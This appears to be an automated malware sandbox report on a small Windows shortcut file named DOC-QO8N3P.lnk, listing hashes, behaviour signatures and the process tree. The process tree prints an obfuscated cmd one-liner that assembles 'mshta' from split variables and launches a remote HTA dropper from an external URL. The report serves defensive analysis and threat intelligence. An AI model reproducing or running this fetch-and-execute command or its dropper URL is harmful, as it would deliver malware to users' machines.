Analysis
- max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
04/08/2026, 08:31
Static task
static1
Behavioral task
behavioral1
Sample
DOC-QO8N3P.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-QO8N3P.lnk
Resource
win11ltsc2024-20260710-en
3 signatures
150 seconds
General
- Target DOC-QO8N3P.lnk
- Size 1KB
- Sample260804-ken94s1sft
- SHA256 34895745ae00fa7e593cdbccba1588230bd28111b0affe9fda83b012c0c02234
- MD5 c4198d15dc02e28c932950a0c4ae4f35
- SHA1 6a31be74cc50b07c5310e0caeaf274c4ede20af1
- SHA512 92a7e5dd6fa7c04db7193666d7f1401bb0a55307a59b996bc48ca2fc556995cc80bfdcac924fb7e20cbf7fc0346d476b909ca7727c99b53eac820242eba23c7c
- TLSH T1E23147502FFD0A64F3F78E7798BB572485BBB85A8E20C72E0141464C5032A15E13BFA7
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-204488895-2999877624-296153668-1000\Control Panel\International\Geo\Nation cmd.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 2852 cmd.exe 64 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 2852 wrote to memory of 64 2852 cmd.exe 87 PID 64 wrote to memory of 4636 64 cmd.exe 88
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-QO8N3P.lnk1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2852 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set EwL=msh&&set iFPhu=ta&&start "" !EwL!!iFPhu! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:64 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:4636
-
-